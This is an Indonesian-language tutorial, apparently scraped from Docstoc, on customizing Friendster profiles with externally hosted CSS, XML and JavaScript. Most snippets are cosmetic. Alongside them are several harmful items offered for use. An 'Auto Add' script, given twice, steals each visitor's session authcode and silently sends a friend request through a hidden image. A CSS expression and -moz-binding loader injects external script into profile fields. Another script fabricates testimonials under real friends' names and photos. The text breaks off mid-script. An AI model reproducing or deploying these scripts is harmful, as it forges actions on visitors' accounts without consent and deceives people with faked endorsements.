Docstoc

tutorial css

Document Sample
tutorial css Powered By Docstoc
					LAYOUT WITH CSS / JAVASCRIPT TUTORIAL
                   Oleh: gw_nobi




     BONUS 10 CSS TRICK + 10 JAVASCRIPT TRICK
                 FOR FRIENDSTER
Hallo semua, apa kabar hari ini? Pasti lagi online ye? Heuheuheu
Gimana kabar Friendsternya? Makin cantik apa makin ancur nih?
Wakakakakakak…gimana udah bisa bikin layout sendiri?
Haa?!! Belom? Busengg…nih gw bagi2 bacaan biar Profile Friendster lu
semua pada kerenn!

Uhmmm enaknya mulai dari mana ya?
Ada yang punya ide?


Oke deh gw bikin per BAB aja ya biar kayak buku pelajaran sekolah
dulu :D

Nih daftar isinye…
BAB 1 = Gimana Cara Bikin Hostingan.
BAB 2 = Gimana Cara Bikin CSS / JavaScript Eksternal.
BAB 3 = 10 CSS + 10 JavaScript buat lu semua.

Gw kira cukup lah 3 BAB ya…biar gak terlalu pusing juga bacanya :p




OK …Lets FIGHT!!!
                              BAB 1
                   Gimana Cara Bikin Hostingan.

Sebelum dimulai, ada yang tau apa itu hostingan? Pasti udah pada tau
kan? Ok gw anggap udah pada tau.

-Site buat ngehosting dimana sih?
Site penyedia jasa hostingan itu ada banyak bgt, tapi yang mudah dan
bisa membaca file berekstensi PHP/JAVA/XML/CSS/MP3/DLL, hanya
site² tertentu seperti RIPWAY, FILEAVE, GEOCITIES,dll.
-Kenapa harus di site itu?
Karena GRATIS BOOO..! Bgahahahaha…
-Menurut lu, HOSTINGAN yang lu rekomendasiin site apaan?
Menurut gw mending pake di RIPWAY/FILEAVE
-Trus Cara bikinnya bijimane?
Ok ok, gw mulai…

  1. Lu www.ripway.com ketik di browser lu.
  Nah, nanti lu bakalan nemu Page seperti ini.
lu klik         trus lu bakalan ngedirect ke halaman ini..




Lu isi form diatas, trus klik Sign Up Now!
Nah udah daftar kan? Horeee akhirnya punya hostingan :D
Trus lu bakalan ke direct ke halaman ini..




Abaikan aje halaman itu, trus lu klik        , lu masukin username
sama password yang barusan lu bikin.
Ok skr kita dah masuk ke halaman utama.

sekarang kita cari gambar ini         , kalo dah ketemu, lu klik trus
lu bakalan nemu halaman ini.




Kita sekarang berada di page My Files.
Trus kita harus ngapaen?
Trus ambil rokok dolo…sambil ngopi…bentar beli rokok dolo….


Udah? Kalo udah …kita bahas soal My Files di BAB 2 ya…
Lets GO!!!
                                  BAB2
        Gimana Cara Bikin CSS / JavaScript / XML Eksternal.

Gimane BAB 1 Mudah kan? Tentu mudah bin gampang…
Ok sekarang ceritanya kita ada di Halaman My Files ..

Sekarang kita bikin dolo subfolder.
Caranya?
Cari gambar ini :                                             , trus
masukin nama di kolom

tsb, lalu klik Creat Subfolder.. setelah lu klik Creat Subfolder, lu bakalan
dikasi page kayak begini…
Lalu, lu klik nama folder yang udah lu buat, seperti


ini.
Trus lu bakalan dianterin ke halaman ini…




Nah loh…kosong? Bingung kan kudu gimana...permainan baru saja
dimulai dari sini …HAHAHAHA…. :ngacir:
Tugas kita sekarang bikin XML + CSS + JAVASCRIPT ..
Ikuti langkah2 pembuatannya dibawah….nyookk!
              XML (Extensible Markup Language )
Pertama tama kita bikin dulu XML nya ya…
Apa itu XML?
Extensible Markup Language (XML) adalah bahasa markup serbaguna
yang direkomendasikan W3C untuk mendeskripsikan berbagai macam
data. XML menggunakan markup tags seperti halnya HTML namun
penggunaannya tidak terbatas pada tampilan halaman web saja.


Klik              …Tiba2nongol beginian…
XML SOURCE:
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
<binding id="cradle">
<implementation>
<constructor><![CDATA[document.write('<script src= URL .JS MASUKIN
DISINI></script>')]]></constructor>
</implementation>
</binding>
</bindings>

CONTOH!
Setelah di save, lu bakalan bisa liat hasilnya…
Seperti ini…




Klik Edit , untuk merubah isi dari XML tsb.
Tahap pembuatan XML selesai…hoeeee….


Sekarang kita lanjutin aja yuk ke tahap pembuatan CSS LINKERnya…
Bentar2…baca dulu baik2 ke atas, udah paham belom? Kalo udah
nyook kita scroll ke bawah….sabar …sabar…pelan mas pelan…
                   CSS    (Cascading Style Sheets )

Sekarang kita bikin CSS nye…
Piye carane?
Apaan tuh CSS?

Cascading Style Sheets (CSS) adalah suatu bahasa stylesheet yang
digunakan untuk mengatur tampilan suatu dokumen yang ditulis dalam
bahasa markup. Penggunaan yang paling umum dari CSS adalah untuk
memformat halaman web yang ditulis dengan HTML dan XHTML.
Walaupun demikian, bahasanya sendiri dapat dipergunakan untuk
semua jenis dokumen XML termasuk SVG dan XUL. Spesifikasi CSS
diatur oleh World Wide Web Consortium (W3C).

CSS digunakan oleh penulis maupun pembaca halaman web untuk
menentukan warna, jenis huruf, tata letak, dan berbagai aspek tampilan
dokumen. CSS digunakan terutama untuk memisahkan antara isi
dokumen (yang ditulis dengan HTML atau bahasa markup lainnya)
dengan presentasi dokumen (yang ditulis dengan CSS). Pemisahan ini
dapat meningkatkan aksesibilitas isi, memberikan lebih banyak
keleluasaan dan kontrol terhadap tampilan, dan mengurangi
kompleksitas serta pengulangan pada stuktur isi.

CSS memungkinkan halaman yang sama untuk ditampilkan dengan
cara yang berbeda untuk metode presentasi yang berbeda, seperti
melalui layar, cetak, suara (sewaktu dibacakan oleh browser basis-suara
atau pembaca layar), dan juga alat pembaca braille. Halaman HTML
atau XML yang sama juga dapat ditampilkan secara berbeda, baik dari
segi gaya tampilan atau skema warna dengan menggunakan CSS.
Langkahnya tetep sama, klik gambar ini                        trus lu tetep
bakal di anter ke halaman ini…




Lalu masukin Source CSS seperti ini.
body {
-moz-binding:url(" URL XML YANG BARUSAN DIBIKIN#cradle");
position:relative;
padding:0px;
width:expression(
function load(){
get=document.createElement("script");
get.type="text/javascript";
get.src=" URL JAVASCRIPT LOE";
document.getElementsByTagName("head")[0].appendChild(get);}
window.onload=load);
}
Contoh :




Setelah selesai bikin CSS, lu bakal kembali ke halaman folder tadi, tapi
ada yang nambah…seperti ini contohnya…
Tuh kan udah ada contoh.css yang baru…
Mudah kan? Gimana mau lanjut? Apa istirahat dulu?
Lanjut aja ya langsung biar cepet …wahhahahah

Sebelum kita bikin File Javascript, hendaknya kita tau dolo bahwa
JavaScript itu bisa kita tidak pakai. Karena javascript itu fungsinya
hanya sebagai atribut.
Ok gw lanjut ya bikin File Javascript.




===========================================================
                          ========

                             JS / JAVASCRIPT
JavaScript adalah nama implementasi Netscape Communications
Corporation untuk ECMAScript standar, suatu bahasa skrip yang
didasarkan pada konsep pemrograman berbasis prototipe. Bahasa ini
terutama terkenal karena penggunaannya di situs web (sebagai
JavaScript sisi klien) dan juga digunakan untuk menyediakan akses
skrip untuk objek yang dibenamkan (embedded) di aplikasi lain.

Walaupun memiliki nama serupa, JavaScript hanya sedikit
berhubungan dengan bahasa pemrograman Java, dengan kesamaan
utamanya adalah penggunaan sintaks C. Secara semantik, JavaScript
memiliki lebih banyak kesamaan dengan bahasa pemrograman Self.

Skrip JavaScript yang dimasukkan di dalam berkas HTML ataupun
XHTML harus dimasukkan di antara tag <script>...</script>. Berikut ini
adalah contohnya (yang akan menampilkan sebuah dialog box berisi
Halo Dunia! ketika sebuah tombol diklik oleh pengguna):

<input type="button" value="Tekan di sini" onclick="halo();">
<script type="text/javascript">
   function halo() {
     alert( "Halo Dunia!" );
   }
</script>
sekarang gimana cara kita bikin File JavaScript?

Langkahnya tetep sama, klik gambar ini             trus lu tetep
bakal di anter ke halaman ini…
Contoh, kita masukan script ini:
var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);
function afa() {
var eadd = "EMAIL FS LU";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img
src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageO
wnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\"
height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};


itu script gunanya untuk AUTO ADD di Friendster.
Contoh Gambar:
Setelah kita CREATE, kita bakal punya file Javascript baru di halaman
folder kita.
Seperti ini contohnya:




Nah sekarang kita udah punya 3 file, yaitu XML, CSS , dan Javascript.
Gimana? Mudah kan?
Trus sekarang apa yang di sebut dengan URL JS/URL CSS/URL/XML ?

URL JS       = http://h1.ripway.com/gwnobi2/contoh/contoh.js
URL CSS = http://h1.ripway.com/gwnobi2/contoh/contoh.css
URR XML = http://h1.ripway.com/gwnobi2/contoh/contoh.xml
Kita bisa lihat di Direct Link bawah nama File kita. Dan URL tsb yang
kita copy paste di setiap ada perintah GANTI URL DISINI(sesuai yang di
perintahkan).
Terus, kalo mau masukin ke FS gimana caranya?
  1. Login di FS kita
  2. Klik Edit Profile
  3. Lalu kita lihat dibagian About me dan Who I want to meet   ( seperti
     gambar dibawah )




Kita isikan Linker CSS kita dibagian About me atau Who I want to meet.
Linker CSS :
         <link rel="stylesheet" href=" GANTI DENGAN URL CSS ">

Kita copy source diatas dan pastekan di bagian About me / who I want
to meet.
OK selesai sudah BAB 1 dan 2. bagaimana? Sudah di mengerti? Kalo
belom kita bahas aja ya di forum.
Trus udah ini kita ke BAB 3 aja ya? Gimana mau? Pasti mau
donk..ehueheuhe…
Ok deh kita mulai aja BAB 3 ya.
                                         BAB 3
                             10 CSS + 10 JAVASCRIPT

Nih gw kasi sedikit CSS dan Javascript koleksi gw.



                                         CSS
           (ingat semua source CSS kita taruh di File CSS kita bukan di tempat lain)


   1. Translucent Box
Untuk Semua Box                                    Untuk ShoutBox

.controlpanel {                                    .controlpanel .so, .minicontrolpanel .so {
  background-color: #000000;                         background-color: #000000;
  filter:alpha(opacity=80);                          filter:alpha(opacity=80;);
  -moz-opacity:0.9;opacity: 0.9;                     -moz-opacity:0.9;opacity: 0.9;
}                                                  }
.commonbox {
  background-color: #000000;                       .controlpanel .sol, .minicontrolpanel .sol
  filter:alpha(opacity=80);                        {
  -moz-opacity:0.9;opacity: 0.9;                     background-color: #000000;
}                                                    filter:alpha(opacity=80;);
.commonbox .evenrow {                                -moz-opacity:0.9;opacity: 0.9;
  background-color: #000000;                       }
  filter:alpha(opacity=80;);
  -moz-opacity:0.9;opacity: 0.9;                   .controlpanel .sob, .minicontrolpanel
}                                                  .sob {
                                                     background-color: #000000;
                                                     filter:alpha(opacity=80;);
                                                     -moz-opacity:0.9;opacity: 0.9;
                                                   }


   Save Semua Source di CSS file lu. Yang warna merah adalah
   HEXCOLOR, itu bisa dig anti sesuai ingin kita. #000000 adalah
   warna hitam dan itu bisa lu ganti semau lu.
  2. Title Bar pake CSS
  /* Title Bar */
  body{top:expr/**/ession(fstweakerspagetitle()
  function fstweakerspagetitle(){
  document.title = 'GANTI TEKS NYA DISINI';
  });}

Preview:




  3. Primary Photo pake Border Gambar

  /* Primary photo pake border gambar*/
  .controlpanel .imgblock200 {
    background-color: transparent;
  background-image: url(URL GAMBARNYA DISINI);
  background-position: center center;
  background-attachment: fixed;
  background-repeat: repeat;
  border-color: #000000;
  border-style: dashed;
  border-width: 4px;
  padding-left: 10px; padding-right:10px; padding-top:10px; padding-
  bottom:10px;
  margin-left:0; margin-right:0px; margin-top:25; margin-bottom:0px;
  }

  Preview :
   4.   Bikin Profile ditengah²      ( yang di pinggir kanan/kiri ilang)

.controlpanel,.photos,.blogs,.reviews,.moreabout,.publiccomments,.scrapbook,.Widget,.
AppModule{
position:relative;left:150px!important;width:490px;overflow:auto}.meettrail,.friends,.gro
ups,.fanof {visibility:hidden!important}#googleAdPlacement
display:none!important}body{overflow-x: visibility:hidden!important}

   Preview:
   5. Animasi Primary Photo

   div.imgblock200 {
   background:url(URL GAMBA .GIF TARUH DISINI);
   background-position: center center;
   background-repeat: no-repeat;
   height:??px;
   width:??px;
   }
   div.imgblock200 img {display:none !important}

   rubah width dan height sesuai keinginan lu.

   Preview:
   Percuma kali preview…gambarnya juga ga bakal jalan kalo di
   PDF..wakakakka


   6. Rubah Warna yang di block ( FF onlehh )

  ::-moz-selection{
  background:#FBF5F8;
  color:#382C33;
  }

   ::selection {
   background:#FBF5F8;
   color:#382C33;
   }
Ganti warna HEX di tulisan yang gw warnain merah:D
Preview:
   7. Welcome Alert pake CSS

Normal Welcome Alert

body{left:exp/**/ression( function welcome() { alert('Pesen'); }
window.onload=welcome);}


Double Welcome Alert

body{left:exp/**/ression( function welcome() { alert(' Pesen '); alert(' Pesen
'); } window.onload=welcome);}

Megaton Welcome Alert

body{left:exp/**/ression( function welcome() { alert(' Pesen '); alert(' Pesen
'); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert('
Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); }
window.onload=welcome);}

   Preview:
    8. New Main Nav

/*REMOVE BLUE HORIZONTAL BAR*/
#mainnav{margin: 0 0px; background:transparent! important; border: transparent!important; text-align:
center; }

/*REMOVE CLASSIFIED,JOB,INVITE*/
.secondary_links {display:none}

/*CENTER MAINNAV- IE ONLY*/
.primary_links { margin-left: 160px !important;}

/* HOME , My Apps , Search */
#mainnav ul li span.noSubMenu a
{ background-color:transparent! important; padding-right: 0px; color: #8B4513;/* lu bisa rubah warna
background disini*/}

/* MY PROFILE , MY CONNECTION , EXPLORE*/
#mainnav ul li a
{ display: inline; margin-right: 0px! important; padding-bottom: 0pt;
padding-left: 0px; text-decoration: none; color: #8B4513! important;
font-size: 12px; line-height: 20px; font-weight: bold; white-space: nowrap;
/* u may put bg, border codes here*/}

/*HOVER- PRIMARY LINKS*/
#mainnav ul li a:hover
{ color: #CD853F! important; background: transparent! important;
text-decoration: none;/* u may put bg, border codes here*/ }

/*REMOVE or CUSTOMIZE Arrow to BULLETS or BG*/

#mainnav .mainfoldericon
{ background-color: transparent! important; background-image: url()! important;
background-repeat: no-repeat; background-attachment: scroll;}

/*SUBLINK DROP DOWN MENU*/
#mainnav ul li ul li a
{display: block; padding-top: 1px; padding-right: 0pt; padding-bottom: 1px; padding-left: 0px;
background:#FDF5E6; color:#8B4513; border:2px outset #FFFFFF; margin: 3px 0 0 0; text-align:center!
important ; /* u may put bg codes here*/}

/*SUBLINK DROP DOWN MENU- Hover*/
#mainnav ul li ul li a:hover
{color:#CD853F; border:2px inset #FFFFFF; background-color:#FDF5E6! important;
text-decoration: none; /* u may put bg code here*/}

/*REMOVE BLUE BACKGROUND SUBLINK CONTAINER*/
#mainnav ul li ul
{left: 0pt;position: absolute;top: 20px;display: block;visibility: hidden;
padding-top: 5px;padding-right: 5px;padding-bottom: 5px;padding-left: 5px;
background-color: transparent;width: 150px;

/*REMOVE DOTTED BORDER*/
#mainnav ul li ul li
{border-width: 0px! important;border-style: none! important;border-color: transparent! important;}
Preview :




   9. Hover background pake gambar

/* HOVER BACKGROUND EFFECT */
a:hover, a.navbar:hover {
  background-image:url(URL GAMBAR .GIF);
}
a:hover img {
  background-image:url(URL GAMBAR .GIF);
  filter:none;
}

   Preview:
   No preview..huhuhuhuh

   10.Ganti Footer pake gambar

   #footer {display: none;}
   #footer_container { background:url(URL .JPG,.PNG,GIF) ;
   background-repeat:no-repeat; background-attachment:fixed;
   background-position:center
   center;width:800px!important;height:140px!important;position:relat
   ive!important;
   bottom:3px!important; }
   #footer_container div { display:none!important; }
   #footer_container a { display:none!important; }
   #footer_container span { display:none!important; }
   Ukuran 800px dianjurkan, ganti yang 140px sesuai keinginan lu…
                            JAVASCRIPT
     (ingat semua source Javascript kita taruh di File Javascript kita bukan di tempat lain)


   1. Bikin Testimonial / Comment Palsu
if                                                  '>Friend_Name</a></li>"+
(!attachOnLoadHandler(function(){embed()}))         "<li>Comment</li>"+
window.onload = function(){fakecomments()};         "</ul></td>"+
function fakecomments(){                            "</tr></tbody></table></div>"+
var bwizett = "<div                                 "<div class='fitem1wrapper'><table
class='fitem1wrapper'><table                        class='fitem1table'><tbody><tr>"+
class='fitem1table'><tbody><tr>"+                   "<td class='itd'><div class='imgblock75'><a
"<td class='itd'><div class='imgblock75'><a         href='/Friend_FS_ID '>"+
href='/Friend_FS_ID '>"+                            "<img src='Photo_Url_Of_Friend
"<img                                               '></a></div></td>"+
src='Photo_Url_Of_Friend'></a></div></td>           "<td class='dtd'><ul class='data'>"+
"+                                                  "<li class='title'><a href='/Friend_FS_ID
"<td class='dtd'><ul class='data'>"+                '>Friend_Name</a></li>"+
"<li class='title'><a href='/Friend_FS_ID           "<li>Comment</li>"+
'>Friend_Name</a></li>"+                            "</ul></td>"+
"<li>Comment</li>"+                                 "</tr></tbody></table></div>"+
"</ul></td>"+                                       "<div class='fitem1wrapper'><table
"</tr></tbody></table></div>"+                      class='fitem1table'><tbody><tr>"+
"<div class='fitem1wrapper'><table                  "<td class='itd'><div class='imgblock75'><a
class='fitem1table'><tbody><tr>"+                   href='/Friend_FS_ID '>"+
"<td class='itd'><div class='imgblock75'><a         "<img src='Photo_Url_Of_Friend
href='/Friend_FS_ID '>"+                            '></a></div></td>"+
"<img                                               "<td class='dtd'><ul class='data'>"+
src='Photo_Url_Of_Friend'></a></div></td>           "<li class='title'><a href='/Friend_FS_ID
"+                                                  '>Friend_Name</a></li>"+
"<td class='dtd'><ul class='data'>"+                "<li>Comment</li>"+
"<li class='title'><a href='/Friend_FS_ID           "</ul></td>"+
'>Friend_Name</a></li>"+                            "</tr></tbody></table></div>"+
"<li>Comment</li>"+                                 "<div class='fitem1wrapper'><table
"</ul></td>"+                                       class='fitem1table'><tbody><tr>"+
"</tr></tbody></table></div>"+                      "<td class='itd'><div
"<div class='fitem1wrapper'><table                  style=\"width:100%;text-align:center;\"><a
class='fitem1table'><tbody><tr>"+                   href=\"http://www.friendster.com/comment
"<td class='itd'><div class='imgblock75'><a         s.php?uid=ID FS LO\"
href='/Friend_FS_ID '>"+                            target=\"_blank\"><b>View All </a> | <a
"<img src='Photo_Url_Of_Friend                      href=\"http://www.friendster.com/comment
'></a></div></td>"+                                 s.php?uid=ID FS LO\"
"<td class='dtd'><ul class='data'>"+                target=\"_blank\">Post a
"<li class='title'><a href='/Friend_FS_ID           Comment</b></a></div>"+
'>Friend_Name</a></li>"+                            "</ul></td>"+
"<li>Comment</li>"+                                 "</tr></tbody></table></div>";
"</ul></td>"+                                       document.getElementById('content_18').style
"</tr></tbody></table></div>"+                      .height='100%';
"<div class='fitem1wrapper'><table                  document.getElementById('content_18').style
class='fitem1table'><tbody><tr>"+                   .overflowY='hidden';
"<td class='itd'><div class='imgblock75'><a         document.getElementById('content_18').inne
href='/Friend_FS_ID '>"+                            rHTML = "<table width='100%'><tr><td
"<img src='Photo_Url_Of_Friend                      align='center'>"+bwizett+"</td></tr></table
'></a></div></td>"+                                 >";
"<td class='dtd'><ul class='data'>"+
"<li class='title'><a href='/Friend_FS_ID           }setTimeout("embed()",10000);
Keterangan:

Friend_FS_ID = ID FS TEMEN LO
Photo_Url_Of_Friend = URL PHOTO TEMEN LO
Friend_Name = NAMA TEMEN LO
Comment = TESTIMONIAL MANIPULASI


Preview:
2. Costumize Main Navigation

function feruzzbedalakubalik() {
var nakmakanayam = document.getElementById("mainnav");
var nkgilondon = "<div class=\"primary_links\"><a
href=http://www.friendster.com/>Home</a> | <a
href=http://www.friendster.com/user.php>Profile</a> | <a
href=http://www.friendster.com/friends.php>Friends</a></div><div
class=\"secondary_links\"><a
href=http://www.friendster.com/explore.php>Explore</a> | <a
href=http://www.friendster.com/gallery.php>Search</a> | <a
href=http://www.friendster.com/video.php>Video</a> | <a
href=http://www.friendster.com/editcollege.php?A=s>Schools</a> | <a
href=http://olx.friendster.com/gateway_cobranded.php>Classifieds<
/a> | <a
href=http://olx.friendster.com/gateway_cobranded.php?target=jobs>J
obs</a> | <a href=http://www.friendster.com/blogs.php>Blogs</a> |
<a
href=http://www.friendster.com/group/mygroup.php>Groups</a> |
<a href=http://www.friendster.com/invite.php>Invite</a></div>";
nakmakanayam.innerHTML = nkgilondon;
}
window.onload = function() {feruzzbedalakubalik();}

Preview:
   3. Alert Message pake Javascript


Simple Welcome Alert

alert("Welcome to my profile"+pageViewerFName+"!");

Double Welcome Alert.

alert("Welcome to my profile "+pageViewerFName+"!"); alert("Ready?");

Welcome Alert With Line Breaks

alert("Welcome to my profile "+pageViewerFName+"!" + '\n' + "Are You
Happy Today?" + '\n' + "If Not Always Smile!"); alert("Anyway Give Me
Some Comments " + '\n' + "Sorry For The Inconvinience..." + '\n' + "Have
A Nice Day!");

   Preview:
   4. Auto Add
   var email_add = "EMAIL FS LU";

   var get_authcode =
   document.getElementById("controlPanelButtons").innerHTML;
   var add_it = get_authcode.slice(get_authcode.indexOf("authcode="));
   var PlaceInput = add_it.slice(9,39);
   document.write('<img
   src="http://www.friendster.com/addfriendrequest.php?authcode='
   + PlaceInput + '&uid='
   + pageOwnerID + '&email='
   + email_add + '&firstname=&lastname=&friend=&submit=1"'
   + ' width="0" height="0" style="display:none" />');




   5. Icon dibawah tombol Control Panel

var penyuberenang;
try {penyuberenang = document.createElement("div");}
catch (e) {penyuberenang = document.createElement("<div>");}
penyuberenang.innerHTML = "URL ICON KAMU DISINI";
penyuberenang.setAttribute("style","text-align:center;padding-top:10px");
document.getElementById("controlPanelButtons").parentNode.appendChild(penyuberen
ang);

   Preview:
6. Ganti Data kamu di Control Panel + Gambar


if (typeof CFNAMES == "undefined") { CFNAMES = {}; }
CFNAMES = {
       getData: null,
       sibling: null,

       init: function() {
              CFNAMES.getData = document.createElement("ul");
              CFNAMES.getData.setAttribute("class","data");
              CFNAMES.getData.innerHTML = "<li><span class=\"q\">TEXT
KAMU</span></li>"+
              "<li><span class=\"q\"> TEXT KAMU </span></li>"+
              "<li><span class=\"q\"> TEXT KAMU </span></li>"+
              "<li><span class=\"q\"> TEXT KAMU </span></li>"+
              "<li><span class=\"q\"> TEXT KAMU </span></li>"+
              "<li><span class=\"q\"> TEXT KAMU </span></li>"+
              "<li><span class=\"q\"> TEXT KAMU </span>"+
              "<a style=\"font-weight: normal;\" href=\"/ TEXT KAMU \">
TEXT KAMU </a></li>";
              CFNAMES.sibling =
CFNAMES.getElementsByClassName(document.getElementById("content_0")
,"ul","data")[0];

CFNAMES.sibling.parentNode.replaceChild(CFNAMES.getData,CFNAMES.si
bling);
     },

     getElementsByClassName: function(oElm,sTag,sClass) {
          var elm = [];
          if (!oElm)oElm = document;
          if (!sTag)sTag = "*";
        var els = oElm.getElementsByTagName(sTag) || document.all;
              for (var i=0,j=els.length;i<j;i++) {
                  if (new RegExp(sClass).test(els[i].className))elm.push(els[i]);
              }
              return elm;
     }
};CFNAMES.init();
Untuk yang berGAMBAR pakai Source ini…

if (typeof CFNAMES == "undefined") { CFNAMES = {}; }
CFNAMES = {
       getData: null,
       sibling: null,

       init: function() {
              CFNAMES.getData = document.createElement("ul");
              CFNAMES.getData.setAttribute("class","data");
              CFNAMES.getData.innerHTML = "<li><span class=\"q\"><img
src=\"URL GAMBAR\"> YOUR TEXT</span></li>"+
                               "<li><span class=\"q\"><img src=\" URL
GAMBAR \"> YOUR TEXT</span></li>"+
                               "<li><span class=\"q\"><img src=\" URL
GAMBAR \"> YOUR TEXT</span></li>"+
                               "<li><span class=\"q\"><img src=\" URL
GAMBAR \"> YOUR TEXT</span></li>"+
                               "<li><span class=\"q\"><img src=\" URL
GAMBAR \"> YOUR TEXT</span></li>"+
                               "<li><span class=\"q\"><img src=\" URL
GAMBAR \"> YOUR TEXT</span></li>"+
              "<li><span class=\"q\">My URL: </span>"+
              "<a style=\"font-weight: normal;\" href=\"/USERNAME
LU\">http://profiles.friendster.com/NAMA LU</a></li>";
              CFNAMES.sibling =
CFNAMES.getElementsByClassName(document.getElementById("content_0")
,"ul","data")[0];

CFNAMES.sibling.parentNode.replaceChild(CFNAMES.getData,CFNAMES.si
bling);
     },

     getElementsByClassName: function(oElm,sTag,sClass) {
          var elm = [];
          if (!oElm)oElm = document;
          if (!sTag)sTag = "*";
        var els = oElm.getElementsByTagName(sTag) || document.all;
              for (var i=0,j=els.length;i<j;i++) {
                  if (new RegExp(sClass).test(els[i].className))elm.push(els[i]);
              }
              return elm;
     }
};CFNAMES.init();
7. Ganti Menu Logout Pake kata2 sendiri

if (typeof SUBNAV == "undefined") { SUBNAV = {}; }
SUBNAV = {
       elements: {
            mainid:
document.getElementById("subnav").getElementsByTagName("a")
       },

     init: function() {
            //For "Messages"
            SUBNAV.elements.mainid[0].innerHTML   = "TEKS LU";
            //For "Settings"
            SUBNAV.elements.mainid[1].innerHTML   = " TEKS LU ";
            //For "Help"
            SUBNAV.elements.mainid[2].innerHTML   = " TEKS LU ";
            //For "Log Out"
            SUBNAV.elements.mainid[3].innerHTML   = " TEKS LU ";
     }
};SUBNAV.init();

Preview :
8. Customize More About Box --> Schools(Other):, Affiliations:
   etc...
if (typeof MOREABOUT == "undefined") { MOREABOUT = {}; }
MOREABOUT = {
       getElements: null,

     elements: {
         mainid: document.getElementById("content_6"),
         maintag: "span",
         mainclass: "q"
     },

     init: function() {
            try {
               MOREABOUT.getElements = __LongTerm__
               MOREABOUT.getElements[0].innerHTML = "TEKS / URL GAMBAR";
               MOREABOUT.getElements[1].innerHTML = " TEKS / URL GAMBAR ";
               MOREABOUT.getElements[2].innerHTML = " TEKS / URL GAMBAR ";
               MOREABOUT.getElements[3].innerHTML = " TEKS / URL GAMBAR ";
               MOREABOUT.getElements[4].innerHTML = " TEKS / URL GAMBAR ";
            }catch(e) {
               MOREABOUT.getElements = "";
            }
     },

    getElementsByClassName: function(oElm,sTag,sClass) {
         var elm = [];
         if (!oElm)oElm = document;
         if (!sTag)sTag = "*";
      var els = oElm.getElementsByTagName(sTag) || document.all;
             for (var i=0,j=els.length;i<j;i++) {
                 if (new RegExp(sClass).test(els[i].className))elm.push(els[i]);
             }
             return elm;
    }
};MOREABOUT.init();

Preview:
9. VISTA TOOLBAR
Pertama2 kita Upload dulu gambar ini.

#Background



#Left Hover


#Right Hover


Lalu masukan Source ini ke dalam CSS File

/* VISTA TOOLBAR */                        #vista_toolbar a {
img{                                       color:#FFF; /* need because it will use
border: 0pt;                               default link color */
}                                          float:left;
                                           padding:0 3px 0 3px; /* left 3 px
#bottom_div{                               because of left.png image */
width: 520px;                              text-decoration:none;
height: 150px;                             }
background-color: #b9d1ea;
clear:both;                                #vista_toolbar a span {
}                                          display:block;
                                           float:none;
#vista_toolbar {                           padding:0 10px 0 7px;
float:left;                                }
font:normal 12px 'Trebuchet MS','Arial';
margin:0;                                  #vista_toolbar a span img {
padding:0;                                 border:none;
}                                          margin:8px 4px 0 0;
                                           }
#vista_toolbar ul {
background-image:url( URL                  /* show picture when mouse over link
BACKGROUND );                              */
background-repeat:repeat-x;                #vista_toolbar a:hover{
float:left;                                background: url(URL LEFT HOVER )
line-height:32px;                          no-repeat left center;
list-style:none;                           }
margin:0;
padding:0 10px 0 10px;                     #vista_toolbar a:hover span {
width:815px;                               background:url(URL RIGHT HOVER )
}                                          no-repeat right center;
                                           }
#vista_toolbar li {
display:inline;                            #vista_toolbar a.right {
padding:0;                                 float:right;
}                                          }
   Lalu Masukan Source ini kedalam JAVASCRIPT FILE

document.getElementById("marketing_bg").innerHTML="<div id=\"vista_toolbar\">"+
"<ul>"+
"<li><img align='left' src='http://www.a1itservices.co.uk/images/vista-logo.gif' height='28'
width='28'><a href=\"http://www.friendster.com/\"><span>"+
"<img align=\"left\" src=\"http://th283.photobucket.com/albums/kk288/ctown1210/th_home-
1.png\""+
"width=\"20\" height=\"20\" alt=\"Home\"/>Home</span></a></li><li><a
href=\"http://www.friendster.com/user.php\"><span>"+
"<img align=\"left\"
src=\"http://th244.photobucket.com/albums/gg19/lovelights_/lovelights/th_icon-
friendster1.gif\""+
"width=\"20\" height=\"20\" alt=\"My Profile\"/>My Profile</span></a></li><li><a
href=\"http://www.friendster.com/widget_myapps.php\"><span>"+
"<img align=\"left\"
src=\"http://i234.photobucket.com/albums/ee220/ezekielclarion/navigation%20vista/chart.gif\
""+
"width=\"20\" height=\"20\" alt=\"My Apps\"/>My Apps</span></a></li><li><a
href=\"http://www.friendster.com/friends.php\"><span>"+
"<img align=\"left\"
src=\"http://th241.photobucket.com/albums/ff238/LICY76/th_CopyofRemote_Connexion2.png
\""+
"width=\"20\" height=\"20\" alt=\"My Connections\"/>My Cnnctions</span></a></li><li><a
href=\"http://www.friendster.com/explore.php\"><span>"+
"<img align=\"left\"
src=\"http://th108.photobucket.com/albums/n3/lbomber7/th_firefox_icon.png\""+
"width=\"20\" height=\"20\" alt=\"Explore\"/>Explore</span></a></li><li><a
href=\"http://www.friendster.com/gallery.php\"><span>"+
"<img align=\"left\" src=\"http://i202.photobucket.com/albums/aa167/Teckelmen/search-icon-
green.gif\""+
"width=\"20\" height=\"20\" alt=\"Search\"/>Search</span></a></li><li><a class=\"right\"
href=\"http://www.friendster.com/invite.php\"><span>"+
"<img align=\"left\" src=\"http://th186.photobucket.com/albums/x21/paulyb06/th_icon-
msn.gif\""+
"width=\"20\" height=\"20\" alt=\"Find Friends\"/>Find Friends</span></a></li><li><a
class=\"right\" href=\"http://olx.friendster.com/?set_country_filter=168\"><span>"+
"<img align=\"left\" src=\"http://images01.olx.com/images/powered-olx.png\""+
"width=\"20\" height=\"20\" alt=\"help\" />Classifieds</span></a></li></ul>"+
"</div>";


   Preview:
10. Reduce Comment

/*global rCOMM, document*/
rCOMM = {};

(function () {
   rCOMM = {
     comm: null,
     num: 5,

     init: function () {
        rCOMM.comm =
rCOMM.getElementsByClassName(document.getElementById("content_18"), "div",
/fitem1wrapper/i);
        for (var x = rCOMM.num, y = rCOMM.comm.length; x < y; x += 1) {
            if (rCOMM.comm[x]) {
